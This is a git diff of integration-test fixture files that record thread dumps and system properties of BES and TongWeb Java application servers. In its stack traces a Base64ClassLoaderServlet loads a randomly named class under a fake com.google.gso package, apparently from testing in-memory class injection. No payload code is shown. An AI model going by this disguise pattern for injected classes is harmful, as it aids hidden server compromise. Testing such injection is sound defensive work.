com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) -"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE] +"AcceptorThread-8080-1" #79 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) - at java.lang.Thread.run(Thread.java:750) - -"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504) at java.lang.Thread.run(Thread.java:750) -"FlushManager" #59 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230) - -"httpWorkerThread-8080-8" #80 daemon [RUNNABLE] +"httpWorkerThread-8080-7" #73 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.lang.Thread.dumpThreads(Native Method) at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.google.gso.kctIl.ErrorGmnwfHandler.toString(BasicInfoPrinter.java:26) at java.lang.String.valueOf(String.java:2994) at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229) at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48) at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) - at EmptyFilter.doFilter(EmptyFilter.java:21) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194) @@ -477,74 +556,41 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 - java.lang.Thread.State: WAITING +"LifecycleThread[com.bes.appserv]-1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23b28c2c + java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 +"Spark_3" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) -"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) - at java.lang.Thread.run(Thread.java:750) - -"Common Lib Watcher" #15 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91) - -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) - at java.lang.Thread.run(Thread.java:750) - -"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 - java.lang.Thread.State: TIMED_WAITING +"RetryTimer" #54 daemon [WAITING] on java.util.TaskQueue@3cc56fc1 + java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) - at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) - at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) - -"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) -"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) +"SelectorReaderThread-1900-1" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) at java.lang.Thread.run(Thread.java:750) -"AcceptorThread-1900-1" #82 daemon [RUNNABLE] +"AcceptorThread-1900-1" #76 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) @@ -552,21 +598,7 @@ ThreadStacks: at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504) at java.lang.Thread.run(Thread.java:750) -"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) - at java.lang.Thread.run(Thread.java:750) - -"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 +"httpWorkerThread-8080-5" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -580,46 +612,27 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) - at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) - -"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE] +"SelectorReaderThread-8080-1" #78 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898) at java.lang.Thread.run(Thread.java:750) -"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) +"RMI TCP Accept-6600" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) at java.lang.Thread.run(Thread.java:750) -"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154 +"bes-deployment-scheduled-executor-thread." #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46f1b5d7 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -631,20 +644,13 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66 - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236) - -"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028 +"AsyncTimeoutThread-1900" #77 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169) at java.lang.Thread.run(Thread.java:750) -"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35 +"httpWorkerThread-8080-4" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -658,39 +664,39 @@ ThreadStacks: at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) at java.lang.Thread.run(Thread.java:750) -"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833 +"KeepAliveTimer" #60 daemon [TIMED_WAITING] on java.util.TaskQueue@239afe19 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) at java.util.TimerThread.mainLoop(Timer.java:552) at java.util.TimerThread.run(Timer.java:505) -"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) - at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) - at java.lang.Thread.run(Thread.java:750) +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36 +"LogFileManager.EventManager" #52 daemon [WAITING] on java.lang.Object@147ed5aa java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) at java.lang.Object.wait(Object.java:502) - at java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236) -"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.util.TimerThread.mainLoop(Timer.java:526) - at java.util.TimerThread.run(Timer.java:505) +"RMI TCP Connection(2)-172.17.0.3" #99 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) =========================================== @@ -698,6 +704,8 @@ ThreadStacks: StackClassNames: Base64ClassLoaderServlet EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter com.bes.ejb.spark.tcp.threadpool.PreSelector com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl @@ -736,4 +744,4 @@ com.bes.enterprise.webtier.core.DefaultWrapperValve com.bes.enterprise.webtier.valves.ErrorReportValve com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager com.bes.org.objectweb.howl.log.LogFileManager$EventManager -com.google.gso.IyIWG.ErrorHandler +com.google.gso.kctIl.ErrorGmnwfHandler diff --git a/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt new file mode 100644 index 00000000..06398a54 --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt @@ -0,0 +1,1220 @@ +# Generated At 2026-05-24 10:59:51 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +catalina.base: /opt/tweb6 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/tweb6/lib/endorsed/jaxb-impl.jar:/opt/tweb6/lib/endorsed/jaxb-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +com.tongweb.web.thor.startup.ContextConfig.jarsToSkip: +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_482-b08 +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +user.name: root +shared.loader: +tongweb.built: 2014.07.17 +tongweb.home: /opt/tweb6 +java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb6 +ibm.stream.nio: true +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler +openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory +openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory +tongweb.java: /opt/java/openjdk +openejb.offline: false +java.version: 1.8.0_482 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +tongweb.upload: /opt/tweb6/temp/upload +java.endorsed.dirs: /opt/tweb6/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.snapshotinhour: 5 +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk/jre +java.vm.info: mixed mode +os.version: 6.8.0-111-generic +openejb.embedder.source: ThorServerListener +sun.font.fontmanager: sun.awt.X11FontManager +tongweb.sysapp: /opt/tweb6/applications +path.separator: : +java.vm.version: 25.482-b08 +openejb.configurator: com.tongweb.tongejb.config.ThorConfigurationFactory +tongweb.util.scan.DefaultJarScanner.jarsToSkip: bval-core,commons-lang3-,commons-digester-,openejb-rest,openwebbeans-,httpcore-,openjpa-,rmock-,ecj-,sisu-guice,xml-apis-,catalina-,commons-dbcp-all-1.3-,shrinkwrap-,bval-jsr,jbossjts-,arquillian-core-api-,openejb-api,jbossall-,lucene-analyzers-,quartz-,axis-,openejb-loader,juli-,leveldb,myfaces-api,webbeans-ejb,activeio-,bcprov-,jsr311-,logkit-,commons-pool-,javax.,openejb-jpa-integration,commons-logging-api-,ApacheJMeter,httpclient-,myfaces-impl,dom4j-,jsp-api,org.osgi.core-,commons-net-,aopalliance-,arquillian-junit-,arquillian-test-spi,google-,jansi-,jboss-,org.eclipse.,joda-time-,hawtdispatch-,pax-,xalan-,javaee-api,jline,idb-,openejb-cxf-transport,wss4j-,xbean-,commons-io-,cglib-,commons-collections-,velocity-,xmlschema-,jbosssx-,gragent.jar,xercesImpl-,lucene-core-,hamcrest-,openejb-webservices,swizzle-,commons-cli-,derbynet-,icu4j-,XmlSchema-,commons-beanutils,opensaml-,arquillian-container-,derby-,xmlrpc-,servlet-api-,activation-,javaws.jar,jbosscx-,webbeans-ee,activemq-,xml-resolver-,commons-logging-,openejb-javaagent,hsqldb-,junit-,woodstox-core-asl-,howl-,openejb-jsf,xmlsec-,cssparser-,openejb-derby,org.junit.,jsoup-,commons-dbcp,jsr299-,arquillian-common,maven-,ops4j-,plexus-,eclipselink-,mina-,cxf-,htmlunit-,mimepull-,saaj-,surefire-,guice-,jersey-,commons-discovery-,serp-,jaxp-,openejb-cxf-bundle,webbeans-spi,aether-,derbyclient-,groovy-,wsdl4j-,openejb-hsql,jetty-,openejb-server,snappy-java-,openejb-cxf,wagon-,avalon-framework-,javaee-,openejb-openwebbeans,openejb-jee,sisu-inject,hibernate-,jcommander-,arquillian-core-impl-base,scannotation-,openejb-jstl,nekohtml-,slf4j-,c3p0-,hawtjni-runtime,openejb-cxf-rs,openejb-provisionning,commons-lang-,spring-,javassist-,arquillian-test-api,openejb-http,jettison-,serializer-,jasypt-,sac-,axis2-,commons-httpclient-,arquillian-test-impl-base,arquillian-config-,arquillian-core-spi-,stax-api-,mqtt-client-,sshd-,openejb-core,openejb-client,ziplock-,log4j-,openejb-ejbd,hawtbuf-,kahadb-,antlr-,deploy.jar,neethi-,commons-codec-,jackson-mapper-asl-,webbeans-impl,jaxb-,xmlunit-,openws-,fusemq-leveldb-,oro-,testng-,idea_rt.jar,jmdns-,wstx-asl-,arquillian-tomee-,geronimo-,mbean-annotation-api-,gson,xmltooling- +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/tweb6/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +tongweb.app: /opt/tweb6/deployment +java.naming.factory.url.pkgs: com.tongweb.web.naming.tongweb:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb6 +java.security.egd: file:/dev/./urandom +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: 1.0.0 +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb6/lib/launcher.jar:/opt/tweb6/lib/tongejb-javaagent.jar +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /opt/tweb6 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb6/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +server.loader: +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb6 +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM 